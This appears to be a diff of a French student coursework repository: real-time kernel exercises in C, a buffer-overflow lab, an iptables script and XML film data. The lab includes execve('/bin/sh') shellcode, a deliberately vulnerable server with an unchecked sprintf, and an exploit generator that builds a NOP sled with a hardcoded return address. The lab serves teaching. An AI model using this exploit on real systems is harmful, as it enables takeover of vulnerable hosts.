/* Fin de la section critique */ |
|||
} |
|||
} |
|||
} |
|||
} |
|||
/*------------------------------------------------------------------*/ |
|||
TacheConsommateur(void) |
|||
{ |
|||
Char car; |
|||
Int numChar; |
|||
while(1) |
|||
{ |
|||
|
|||
/* Attente de fin de ligne */ |
|||
Receive(MB, &numChar, 0); |
|||
|
|||
/* Le buffer va etre desempli */ |
|||
EffaceFen(F5); |
|||
|
|||
while (numChar --) |
|||
{ |
|||
car = Buffer[posC]; |
|||
posC++; |
|||
if (posC == TAILLE) posC = 0; |
|||
ecriture = 0; |
|||
|
|||
EcrCar(F2,car); |
|||
DelayTask(10); |
|||
} |
|||
EcrCar(F2, '\r'); |
|||
} |
|||
} |
|||
|
|||
|
|||
/*------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0= OuvreFen( 0, 0,79,24,noir,blanc,"EXERCICE 7A : IMPRIMANTE FICTIVE (ligne + grand buffer)"); |
|||
F1= OuvreFen( 2, 1,77, 8,bleu,blanc,"TACHE PRODUCTRICE (clavier)"); |
|||
F2= OuvreFen( 2, 8,77,15,vert,blanc,"TACHE CONSOMMATEUR (imprimante)"); |
|||
F3= OuvreFen( 2,20,77,23,cyan,blanc,"TACHE MAIN"); |
|||
F4= OuvreFen( 2,16,22,19,magenta, blanc,"ATTENTION"); |
|||
F5= OuvreFen(57,16,77,19,blanc,rouge,"ATTENTION"); |
|||
|
|||
InitNoyau(); |
|||
CreateTask(TP,PTP,TacheProducteur); |
|||
CreateTask(TC,PTC,TacheConsommateur); |
|||
|
|||
|
|||
InitMailBox(MB, MB_LEN); |
|||
|
|||
EnterRegion(); |
|||
StartTask(TP); |
|||
StartTask(TC); |
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F3,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,185 @@ |
|||
/************************************************************************/ |
|||
/* EX8.C RESSOURCES MULTIPLES */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* N tâches utilisent M ressources identiques (M < N). */ |
|||
/* Lorsque une tâche demande une ressource, la première ressource */ |
|||
/* disponible lui est attribuée. Si aucune ressource n'est */ |
|||
/* disponible alors la tâche est suspendue. */ |
|||
/* Principe : */ |
|||
/* Les ressources sont constituées par des fenêtres. */ |
|||
/* Une tâche ayant obtenu une ressource y affiche son message puis */ |
|||
/* libère la ressource. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define T4 4 |
|||
#define T5 5 |
|||
#define T6 6 |
|||
|
|||
#define TK 7 |
|||
|
|||
#define PT 1 |
|||
#define PTK 3 |
|||
|
|||
#define MB 1 |
|||
#define RES 3 /* nombre de ressources*/ |
|||
|
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
|
|||
Char res[RES]; |
|||
|
|||
#include "tempo.c" |
|||
/*--------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while (1) |
|||
{ |
|||
LireCar(F4, OFF, &car); |
|||
if (car == ESC) RetDos(); |
|||
if (car == ' ') |
|||
{ |
|||
StopTask(T1); |
|||
StopTask(T2); |
|||
StopTask(T3); |
|||
StopTask(T4); |
|||
StopTask(T5); |
|||
StopTask(T6); |
|||
LireCar(F4, OFF, &car); |
|||
RetDos(); |
|||
} |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
Char f; |
|||
while (1) |
|||
{ |
|||
Receive(MB,&f,0); /*Attente d'une ressource*/ |
|||
EcrTexte(res[f],"Tache1\r"); |
|||
Tempo(5); |
|||
Send(MB,f); /*Liberation de la ressource*/ |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
Char f; |
|||
while (1) |
|||
{ |
|||
Receive(MB,&f,0); |
|||
EcrTexte(res[f],"Tache2\r"); |
|||
Tempo(5); |
|||
Send(MB,f); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
Char f; |
|||
while (1) |
|||
{ |
|||
Receive(MB,&f,0); |
|||
EcrTexte(res[f],"Tache3\r"); |
|||
Tempo(5); |
|||
Send(MB,f); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
Tache4(void) |
|||
{ |
|||
Char f; |
|||
while (1) |
|||
{ |
|||
Receive(MB,&f,0); |
|||
EcrTexte(res[f],"Tache4\r"); |
|||
Tempo(5); |
|||
Send(MB,f); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
Tache5(void) |
|||
{ |
|||
Char f; |
|||
while (1) |
|||
{ |
|||
Receive(MB,&f,0); |
|||
EcrTexte(res[f],"Tache5\r"); |
|||
Tempo(5); |
|||
Send(MB,f); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
Tache6(void) |
|||
{ |
|||
Char f; |
|||
while (1) |
|||
{ |
|||
Receive(MB,&f,0); |
|||
EcrTexte(res[f],"Tache6\r"); |
|||
Tempo(5); |
|||
Send(MB,f); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
|
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 8 : RESSOURCES MULTIPLES"); |
|||
F1 = OuvreFen(20, 1,30,20, rouge,blanc, "Ress1"); |
|||
F2 = OuvreFen(35, 1,45,20, bleu, blanc, "Ress2"); |
|||
F3 = OuvreFen(50, 1,60,20, vert, blanc, "Ress3"); |
|||
F4 = OuvreFen( 2,20,77,23, cyan, blanc, "MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
/* Temps partage */ |
|||
RTClockInit(1); |
|||
|
|||
CreateTask(T1, PT, Tache1); |
|||
CreateTask(T2, PT, Tache2); |
|||
CreateTask(T3, PT, Tache3); |
|||
CreateTask(T4, PT, Tache4); |
|||
CreateTask(T5, PT, Tache5); |
|||
CreateTask(T6, PT, Tache6); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
InitMailBox(MB,RES); |
|||
|
|||
/* Les ressources */ |
|||
res[0] = F1; |
|||
res[1] = F2; |
|||
res[2] = F3; |
|||
|
|||
/* Mise a disposition des ressources */ |
|||
Send(MB,0); |
|||
Send(MB,1); |
|||
Send(MB,2); |
|||
|
|||
EnterRegion(); |
|||
StartTask(TK); |
|||
StartTask(T1); |
|||
StartTask(T2); |
|||
StartTask(T3); |
|||
StartTask(T4); |
|||
StartTask(T5); |
|||
StartTask(T6); |
|||
LeaveRegion(); |
|||
|
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F4,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,95 @@ |
|||
/************************************************************************/ |
|||
/* EX9.C TACHE CYCLIQUE */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Une tâche TacheCyclique devant exécuter un traitement périodique */ |
|||
/* est mise en exécution cycliquement. */ |
|||
/* Principe: */ |
|||
/* Une tâche BaseDeTemps signale régulièrement un événement à la */ |
|||
/* tâche TacheCyclique. */ |
|||
/* La tâche TacheCyclique se met en attente de cet événement, */ |
|||
/* puis fait son traîtement, puis attend à nouveau l'événement ... */ |
|||
/* L'avantage est qu'ici la périodicité du traitement ne dépend */ |
|||
/* pas de la durée de celui-ci. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define TC 1 /* TacheCyclique */ |
|||
#define TBDT 2 /* BaseDeTemps */ |
|||
#define TK 3 /* TKill */ |
|||
|
|||
#define PTC 4 /* Priorité TacheCyclique */ |
|||
#define PBDT 5 /* Priorité BaseDeTemps */ |
|||
#define PTK 3 /* Priorité TKill */ |
|||
|
|||
#define EVT 0 |
|||
#define MEVT 1 |
|||
#define DELAY 20 |
|||
|
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3; |
|||
|
|||
#include "tempo.c" |
|||
/*--------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
Char car; |
|||
LireCar(F1, ON, &car); |
|||
if (car == ESC) RetDos(); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
BaseDeTemps(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
SignalEvent(TC, EVT); |
|||
DelayTask(DELAY); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
TacheCyclique(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
Word evt; |
|||
WaitEvents(MEVT, 0, &evt); |
|||
F2 = OuvreFen(50, 5,70,10, rouge, blanc, "TACHE CYCLIQUE"); |
|||
Tempo(5); |
|||
FermeFen(F2); |
|||
ClearEvents(evt); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
|
|||
F0 = OuvreFen( 0, 0,79,24,noir, blanc, "EX9 : TACHE CYCLIQUE"); |
|||
F1 = OuvreFen( 5, 5,40,15,bleu, blanc, "TACHE TKill"); |
|||
F3 = OuvreFen( 2,20,77,23,cyan, blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
CreateTask(TK, PTK, TKill); |
|||
CreateTask(TC, PTC, TacheCyclique); |
|||
CreateTask(TBDT, PBDT, BaseDeTemps); |
|||
|
|||
EnterRegion(); |
|||
StartTask(TK); |
|||
StartTask(TC); |
|||
StartTask(TBDT); |
|||
LeaveRegion(); |
|||
|
|||
/* A compléter */ |
|||
while(1) |
|||
{ |
|||
EcrCar(F3,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,25 @@ |
|||
/*******************************/ |
|||
/* Boucle d'attente logicielle */ |
|||
/*******************************/ |
|||
void Tempo(unsigned int Duree) |
|||
{ |
|||
char *ret_getenv; |
|||
unsigned int delay; |
|||
unsigned long n2; |
|||
|
|||
ret_getenv=getenv("TEMPO"); |
|||
if( ret_getenv[0] == 0 ) |
|||
{ |
|||
printf("LA VARIABLE ENVIRONNEMENT TEMPO N'EST PAS DEFINIE\n\007"); |
|||
while(1); |
|||
} |
|||
|
|||
sscanf(ret_getenv,"%d",&delay); |
|||
|
|||
|
|||
while( Duree-- != 0 ) |
|||
{ |
|||
n2=(unsigned long)(delay) << 9; |
|||
while( --n2 != 0 ); |
|||
} |
|||
} |
|||
Binary file not shown.
Binary file not shown.
@ -0,0 +1,17 @@ |
|||
all: shellcode test serverbuf exploit |
|||
|
|||
shellcode: shellcode.S shellcode.c |
|||
gcc -Wall -m32 -o $@ $^ |
|||
|
|||
test: test.c |
|||
gcc -Wall -g -m32 -o $@ $^ |
|||
|
|||
serverbuf: serverbuf.c |
|||
gcc -Wall -g -m32 -o $@ $^ |
|||
|
|||
exploit: exploit.c |
|||
gcc -Wall -g -m32 -o $@ $^ |
|||
|
|||
clean: |
|||
rm -f shellcode test |
|||
|
|||
@ -0,0 +1,47 @@ |
|||
#include <unistd.h> // for write |
|||
#include <stdint.h> // for uint32_t |
|||
#include <string.h> // for strlen |
|||
#include <stdlib.h> // for free, calloc |
|||
#include <stdio.h> // fprintf |
|||
|
|||
#define BUFFER_SIZE 1024 |
|||
#define HELLO_MSG "nice to meet you " |
|||
|
|||
const char shellcode[] = |
|||
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" |
|||
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" |
|||
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" |
|||
"\xff\xff/bin/sh"; |
|||
|
|||
uint32_t ret = 0xbf85b4e0; |
|||
|
|||
int main(void) { |
|||
size_t hello_size = strlen(HELLO_MSG); |
|||
size_t code_size = sizeof(shellcode) - 1; |
|||
|
|||
fprintf(stderr, "hello_size = %d\n", hello_size); |
|||
fprintf(stderr, "code_size = %d\n", code_size); |
|||
|
|||
size_t bourrage = BUFFER_SIZE - hello_size - code_size + 12; |
|||
ret += hello_size + 20; //
|
|||
|
|||
fprintf(stderr, "bourrage = %d\n", bourrage); |
|||
fprintf(stderr, "ret = %#x\n", ret); |
|||
|
|||
char * buffer = malloc(bourrage); |
|||
int i; |
|||
for (i = 0; i < bourrage; i++) { |
|||
buffer[i] = 0x90; // NOP
|
|||
} |
|||
|
|||
write(1, buffer, 40); |
|||
write(1, shellcode, code_size); |
|||
write(1, buffer, bourrage - 40); |
|||
|
|||
write(1, &ret, sizeof(ret)); |
|||
write(1, "\n", 1); |
|||
|
|||
free(buffer); |
|||
|
|||
return 0; |
|||
} |
|||
@ -0,0 +1,51 @@ |
|||
#!/bin/sh |
|||
|
|||
# |
|||
# Original version from the OpenWrt project. |
|||
# |
|||
|
|||
# Interfaces |
|||
LAN=eth0 |
|||
|
|||
## CLEAR TABLES |
|||
iptables -t filter -F |
|||
iptables -t filter -X |
|||
|
|||
### INPUT |
|||
### (connections with the router as destination) |
|||
|
|||
# base case |
|||
iptables -P INPUT DROP |
|||
iptables -A INPUT -m state --state INVALID -j DROP |
|||
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT |
|||
iptables -A INPUT -p tcp --tcp-flags SYN SYN --tcp-option \! 2 -j DROP |
|||
|
|||
# allow |
|||
iptables -A INPUT -p icmp -j ACCEPT # allow ICMP |
|||
iptables -A INPUT -p tcp --sport 22 -j ACCEPT # allow SSH |
|||
iptables -A INPUT -p tcp --sport 80 -j ACCEPT # allow HTTP |
|||
iptables -A INPUT -p tcp --sport 443 -j ACCEPT # allow HTTPS |
|||
|
|||
# reject (what to do with anything not allowed earlier) |
|||
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset |
|||
iptables -A INPUT -j REJECT --reject-with icmp-port-unreachable |
|||
|
|||
### OUTPUT |
|||
### (connections with the router as source) |
|||
|
|||
# base case |
|||
iptables -P OUTPUT DROP |
|||
iptables -A OUTPUT -m state --state INVALID -j DROP |
|||
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT |
|||
|
|||
# |
|||
# insert accept rule here |
|||
# |
|||
|
|||
# allow |
|||
iptables -A OUTPUT -j ACCEPT #allow everything out |
|||
|
|||
# reject (what to do with anything not allowed earlier) |
|||
iptables -A OUTPUT -p tcp -j REJECT --reject-with tcp-reset |
|||
iptables -A OUTPUT -j REJECT --reject-with icmp-port-unreachable |
|||
|
|||
Binary file not shown.
@ -0,0 +1,110 @@ |
|||
|
|||
#include <stdio.h> |
|||
#include <netdb.h> |
|||
#include <netinet/in.h> |
|||
#include <signal.h> |
|||
|
|||
#include <string.h> // for strcpy, strlen |
|||
#include <unistd.h> // for close |
|||
#include <stdlib.h> // for atoi |
|||
#include <errno.h> // for errno |
|||
#include <sysexits.h> // for EX_USAGE |
|||
|
|||
#define BUFFER_SIZE 1024 |
|||
#define NAME_SIZE 2048 |
|||
|
|||
int handling_client(int c) { |
|||
char buffer[BUFFER_SIZE], name[NAME_SIZE]; |
|||
int bytes; |
|||
|
|||
// Since the stack base is now randomized, print the address of buffer
|
|||
printf("buffer = %p\n", buffer); |
|||
|
|||
strcpy(buffer, "Login : "); |
|||
bytes = send(c, buffer, strlen(buffer), 0); |
|||
if (bytes == -1) { |
|||
perror("send"); |
|||
return errno; |
|||
} |
|||
|
|||
bytes = recv(c, name, sizeof(name), 0); |
|||
if (bytes == -1) { |
|||
perror("recv"); |
|||
return errno; |
|||
} |
|||
|
|||
name[bytes - 1] = '\0'; |
|||
sprintf(buffer, "nice to meet you %s\n", name); |
|||
|
|||
bytes = send(c, buffer, strlen(buffer), 0); |
|||
if (bytes == -1) { |
|||
perror("send"); |
|||
return errno; |
|||
} |
|||
|
|||
return 0; |
|||
} |
|||
|
|||
int main(int argc, char *argv[]) { |
|||
if (argc != 2) { |
|||
fprintf(stderr, "usage: %s port\n", argv[0]); |
|||
exit(EX_USAGE); |
|||
} |
|||
|
|||
// Let the father not being disturbed by its childs
|
|||
signal(SIGCLD, SIG_IGN); |
|||
|
|||
int sock = socket(PF_INET, SOCK_STREAM, 0); |
|||
if (sock == -1) { |
|||
perror("socket"); |
|||
exit(EXIT_FAILURE); |
|||
} |
|||
|
|||
struct sockaddr_in srv; |
|||
srv.sin_addr.s_addr = INADDR_ANY; |
|||
srv.sin_port = htons((unsigned short int) atol(argv[1])); |
|||
srv.sin_family = AF_INET; |
|||
|
|||
if (bind(sock, (struct sockaddr *) &srv, sizeof(srv)) == -1) { |
|||
perror("bind"); |
|||
exit(EXIT_FAILURE); |
|||
} |
|||
|
|||
if (listen(sock, 3) == -1) { |
|||
perror("listen"); |
|||
exit(EXIT_FAILURE); |
|||
} |
|||
|
|||
for (;;) { |
|||
int con = accept(sock, NULL, NULL); |
|||
if (con == -1) { |
|||
perror("accept"); |
|||
exit(EXIT_FAILURE); |
|||
} |
|||
|
|||
pid_t pid = fork(); |
|||
if (pid == 0) { |
|||
close(sock); |
|||
|
|||
// The child processes the request
|
|||
if (handling_client(con) != 0) { |
|||
fprintf(stderr, "%s: handling failed", argv[0]); |
|||
} |
|||
|
|||
// The child closes the connection...
|
|||
close(con); |
|||
|
|||
// and exits !
|
|||
exit(EXIT_SUCCESS); |
|||
} else if (pid > 0) { |
|||
// The father closes the file descriptor
|
|||
close(con); |
|||
} else { |
|||
perror("fork"); |
|||
exit(EXIT_FAILURE); |
|||
} |
|||
} |
|||
|
|||
return EXIT_SUCCESS; |
|||
} |
|||
|
|||
@ -0,0 +1,20 @@ |
|||
.globl code_start |
|||
.globl code_end |
|||
.data |
|||
code_start: |
|||
jmp 27 |
|||
popl %esi |
|||
movl %esi,0x8(%esi) /* put address of **argv behind shellcode, |
|||
0x8 bytes behind it so a /bin/sh has place */ |
|||
xorl %eax,%eax /* put 0 in %eax */ |
|||
movb %eax,0x7(%esi) /* put terminating 0 after /bin/sh string */ |
|||
movl %eax,0xc(%esi) /* another 0 to get the size of a long word */ |
|||
movb $0xb,%al /* execve( */ |
|||
movl %esi,%ebx /* "/bin/sh", */ |
|||
leal 0x8(%esi),%ecx /* & of "/bin/sh", */ |
|||
xorl %edx,%edx /* NULL */ |
|||
int $0x80 /* ); */ |
|||
call -24 |
|||
.string "/bin/shX" /* X is overwritten by movb %eax,0x7(%esi) */ |
|||
code_end: |
|||
|
|||
@ -0,0 +1,25 @@ |
|||
#include <stdio.h> |
|||
|
|||
extern void code_start(); |
|||
extern void code_end(); |
|||
|
|||
int main(void) { |
|||
printf("Shellcode size = %d oct\n", code_end - code_start); |
|||
|
|||
char * i = (char *) code_start; |
|||
|
|||
printf("char * shellcode = { %#hhx ", *i); |
|||
i++; |
|||
|
|||
while (i < (char *) code_end) { |
|||
printf(", %#hhx", *i); |
|||
i++; |
|||
} |
|||
|
|||
printf("}\n"); |
|||
|
|||
code_start(); |
|||
|
|||
return 0; |
|||
} |
|||
|
|||
@ -0,0 +1,37 @@ |
|||
#include <stdio.h> |
|||
|
|||
/*
|
|||
char shellcode[] = |
|||
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" |
|||
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58" |
|||
"\x00\x00\x00\x00\x00\x00\x00\x00"; |
|||
*/ |
|||
|
|||
char shellcode[] = |
|||
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" |
|||
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" |
|||
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" |
|||
"\xff\xff/bin/sh" |
|||
"\x00\x00\x00\x00\x00\x00\x00\x00"; |
|||
|
|||
void bug(void) { |
|||
printf("BUG !\n"); |
|||
} |
|||
|
|||
void test(void) { |
|||
void * mark; |
|||
|
|||
*(&mark + 2) = (void *) shellcode; |
|||
} |
|||
|
|||
void test2() { |
|||
fprintf(stderr, "avant\n"); |
|||
test(); |
|||
fprintf(stderr, "apres\n"); |
|||
} |
|||
|
|||
int main(void) { |
|||
test2(); |
|||
return 0; |
|||
} |
|||
|
|||
@ -0,0 +1,41 @@ |
|||
#include <stdio.h> |
|||
#include <string.h> // for strcpy, strlen |
|||
#include <unistd.h> // for close |
|||
#include <stdlib.h> // for atoi |
|||
#include <errno.h> // for errno |
|||
#include <sysexits.h> // for EX_USAGE |
|||
|
|||
#define BUFFER_SIZE 1024 |
|||
#define NAME_SIZE 2048 |
|||
|
|||
int handlingclient(int c) { |
|||
char buffer[BUFFER_SIZE], name[NAME_SIZE]; |
|||
int bytes; |
|||
|
|||
strcpy(buffer, "Login : "); |
|||
bytes = write(1, buffer, strlen(buffer)); |
|||
if (bytes == -1) { |
|||
perror("send"); |
|||
return errno; |
|||
} |
|||
|
|||
bytes = read(0, name, sizeof(name)); |
|||
if (bytes == -1) { |
|||
perror("recv"); |
|||
return errno; |
|||
} |
|||
|
|||
name[bytes - 1] = '\0'; |
|||
sprintf(buffer, "nice to meet you %s\n", name); |
|||
|
|||
bytes = write(1, buffer, strlen(buffer)); |
|||
if (bytes == -1) { |
|||
perror("send"); |
|||
return errno; |
|||
} |
|||
} |
|||
|
|||
int main(int argc, char ** argv) { |
|||
return handlingclient(0); |
|||
} |
|||
|
|||
Binary file not shown.
@ -0,0 +1,8 @@ |
|||
XML/TP1 - Liste des fichiers |
|||
|
|||
bergman.xml : Fichier XML à vérifier et à mettre en forme |
|||
minibergman.xml : Version simplifiée du précédent fichier |
|||
film.css : La CSS associée aux deux fichiers XML |
|||
film.dtd : La DTD qui permet de valider les deux fichiers XML |
|||
gen.sh : Quelques commandes qui nous ont été utiles lors de |
|||
l'écriture de la DTD |
|||
@ -0,0 +1,509 @@ |
|||
<?xml version="1.0"?> |
|||
<!DOCTYPE filmographie SYSTEM "./film.dtd"> |
|||
<?xml-stylesheet href="./film.css" type="text/css" ?> |
|||
<filmographie> |
|||
<resumes> |
|||
<resume filmref="f1" realisateur="Vassili Silovic">[Documentaire]</resume> |
|||
|
|||
<resume filmref="f2" realisateur="Chuck Workman">[Documentaire]</resume> |
|||
|
|||
<resume filmref="f3" img="03.jpg" pdf="03.pdf" realisateur="Steven Martin">A documentary about the amazing life of Leon Theremin, inventor of the theremin, the electronic musical instrument so beloved of 50s sci-fi movie music. Theremin amazed America with his instrument until his kidnapping by Soviet agents in the mid-30s. Upon his release from a labor camp, he worked on surveillance devices for the KGB. Almost 60 years later, he is brought back to America for a touching reunion with his friends and colleagues.</resume> |
|||
|
|||
<resume filmref="f4" realisateur="Gene Feldman">[Documentaire]</resume> |
|||
|
|||
<resume filmref="f5" img="05.jpg" pdf="05.pdf" realisateur="Alan Gibson" /> |
|||
|
|||
<resume filmref="f6" realisateur="Marty Pasetta">[Documentaire]</resume> |
|||
|
|||
<resume filmref="f7" img="07.gif" pdf="07.pdf" realisateur="Ingmar Bergman">After having neglected her children for many years, world famous pianist Charlotte visits her daughter Eva in her home. To her surprise she finds her other daughter, Helena, there as well. Helena is mentally impaired, and Eva has taken Helena out of the institution where their mother had placed her. The tension between Charlotte and Eva only builds up slowly, until a nightly conversation releases all the things they have wanted to tell each other.</resume> |
|||
|
|||
<resume filmref="f8" img="08.jpg" pdf="08.pdf" realisateur="Vincente Minnelli" /> |
|||
|
|||
<resume filmref="f9" realisateur="?">[Documentaire]</resume> |
|||
|
|||
<resume filmref="f10" img="10.jpg" pdf="10.pdf" realisateur="Sidney Lumet">After solving a case, Hercule Poirot takes the Orient Express home. On board is Ratchett, a millionaire and his secretary Hector MacQueen and butler Beddoes. Also there is a Count and Countess, a Colonel, a bossy American woman, an Italian, a Princess and her nurse and Pierre, the conductor. The train gets stuck in the snow and during the night, Ratchett is murdered, stabbed many times. Poirot and Bianchi (the train's detective and friend) investigate and discover that Ratchett and the rest of the passengers are involved in the Daisy Armstrong case in which a child was taken for ransom and then horribly killed...</resume> |
|||
|
|||
<resume filmref="f11" img="11.jpg" pdf="11.pdf" realisateur="Fielder Cook">Precocious Claudia and her brother run away from home and hide in the Metropolitan Museum in New York.</resume> |
|||
|
|||
<resume filmref="f12" realisateur="Roberto Guerra, Elia Hershon">Documentary about French (Turkish born) film historian Henri Langlois (1914-1977), co-founder of the Cinemathèque Française, which progressed from just 10 films in 1936 to 60,000 films in the early 70s. The film also deals with the manifestations of support for Langlois following 1968 French Minister of Culture André Malraux's failed attempt to replace him as head of the Cinemathèque.</resume> |
|||
|
|||
<resume filmref="f13" img="13.jpg" pdf="13.pdf" realisateur="Guy Green">The Merediths move to an isolated farm. Mrs. Meredith and the neighbour Will Cade become friends and eventually lovers.</resume> |
|||
|
|||
<resume filmref="f14" realisateur="Marshall Flaum">[Documentaire]</resume> |
|||
|
|||
<resume filmref="f15" img="15.jpg" pdf="15.pdf" realisateur="Gene Saks">Toni Simmons believes that the only reason her married lover won't leave his wife is because of the children. In truth, her lover, dentist Julian Winston, doesn't have any children. In fact, Julian doesn't even have a wife - he just tells women he does to avoid getting involved. When Julian does decide to take the plunge with Toni she insists on meeting the first wife and Julian enlists the aid of his long-time nurse/receptionist Stephanie Dickinson to play the part.</resume> |
|||
|
|||
<resume filmref="f16" img="16.jpg" pdf="16.pdf" realisateur="Ted Kotcheff" /> |
|||
|
|||
<resume filmref="f17" realisateur="Hand Abramson, Hans Alfredson" /> |
|||
|
|||
<resume filmref="f18" img="18.jpg" pdf="18.pdf" realisateur="Saul Turell">This insightful documentary features some of the major and most beautiful actresses to grace the silver screen. It shows how the movie industry changed it's depiction of sex and actresses portrayal of sex from the silent movie era to the present. Classic scenes are shown from the silent movie, True Heart Susie, starring Lillian Gish, to Love Me Tonight (1932), blending sex and sophistication, starring Jeanette MacDonald (pre-Nelson Eddy) and to Elizabeth Taylor in, A Place in the Sun (1951), plus much , much more.</resume> |
|||
|
|||
<resume filmref="f19" img="19.jpg" pdf="19.pdf" realisateur="Anthony Asquith">Three stories about the lives and loves of those who own a certain yellow Rolls-Royce: |
|||
<liste> |
|||
<entree>First purchased by the Marquess of Frinton for his wife as a belated anniversary present, the Marchiness finds her own use for the vehicle - one which prompts her husband to sell the car in disgust.</entree> |
|||
|
|||
<entree>Gangster Paolo Maltese's moll, Mae, thinks the Rolls is a classy car in which to tour Paolo's home town in Italy. When Paolo is called away to the States to finish some business, a bored Mae takes the Rolls on a spin through the country, enjoying both the sights and the handsome Italian photographer who crosses her path.</entree> |
|||
|
|||
<entree>By the outbreak of World War II, the car has come into the possession of socialite Gerda Millet. While on her way to visit Yugoslavian royalty, Gerda and the Rolls become (at first) unwitting and then (eventually) most willing participants in the Yugoslavian fight.</entree> |
|||
</liste> |
|||
</resume> |
|||
|
|||
<resume filmref="f20" realisateur="Bernhard Wicki">Carla Zachanassian had a child by Serge Miller as a teenager. When Serge refused to marry her, she was driven out of town. By her own wit and cunning, she has returned as a multi-millionaire for a visit. The town lays out the red carpet expecting big things from Carla, only to learn that her sole purpose is to see Serge Miller killed...</resume> |
|||
|
|||
<resume filmref="f21" realisateur="Alex Segal" /> |
|||
|
|||
<resume filmref="f22" realisateur="Pierre Chevalier" /> |
|||
|
|||
<resume filmref="f23" img="23.jpg" pdf="23.pdf" realisateur="Anatole Litvak">In this adaptation of Francoise Sagan's best selling novel, Paula is a beautiful, 40-year old, highly successful businesswoman. She is deeply in love with Roger, her mature consort of five years. Roger is a very charming gallant who loves Paula but is too selfish to give up his freedom to be promiscuous. When Paula meets Phillip, the 24-year old, immature, lawyer son of one of her rich clients, he falls hopelessly in love with the glamorous, sympathetic older woman and insists that the age difference will be no barrier to a romance. Paula resists the young man's persistent advances, but finally succumbs when Roger initiates yet another affair with one of his young Maisies. An affair begins, and society does not approve.</resume> |
|||
|
|||
<resume filmref="f24" img="24.jpg" pdf="24.pdf" realisateur="Silvio Narizzano" /> |
|||
|
|||
<resume filmref="f25" realisateur="John Frankenheimer" /> |
|||
|
|||
<resume filmref="f26" img="26.jpg" pdf="26.pdf" realisateur="Mark Robson">All her life Englishwoman Gladys Aylward knew that China was the place where she belonged. Not qualified to be sent there as a missionary, Gladys works as a domestic to earn the money to send herself to a poor, remote village. There she eventually lives a full and happy life: running the inn, acting as foot inspector, advising the local Mandarin and even winning the heart of mixed race Captain Lin Nan. But Gladys discovers her real destiny when the country is invaded by Japan and the Chinese children need her to save their lives. Based on a true story.</resume> |
|||
|
|||
<resume filmref="f27" img="27.jpg" pdf="27.pdf" realisateur="Stanley Donen">Anna Kaplan is a accomplished actress who has given up hope at finding the man of her dreams. She is in the middle of taking off her face cream (one of the best scenes), while talking about this subject with her sister, when in walks Philip Adams. She loses her concentration for a moment as she realizes that this is the charming, smart, and handsome man she has been waiting for. The plot thickens as they begin a love at first sight relationship and she finds out that he has been keeping a secret from her. When she learns of his lie, she becomes furious and works out a plan for revenge.</resume> |
|||
|
|||
<resume filmref="f28" img="28.jpg" pdf="28.pdf" realisateur="Anatole Litvak">Russian exiles in Paris plot to collect ten million pounds from the Bank of England by grooming a destitute, suicidal girl to pose as heir to the Russian throne. While Bounin is coaching her he comes to believe she is really Anastasia. In the end the Empress must decide her claim.</resume> |
|||
|
|||
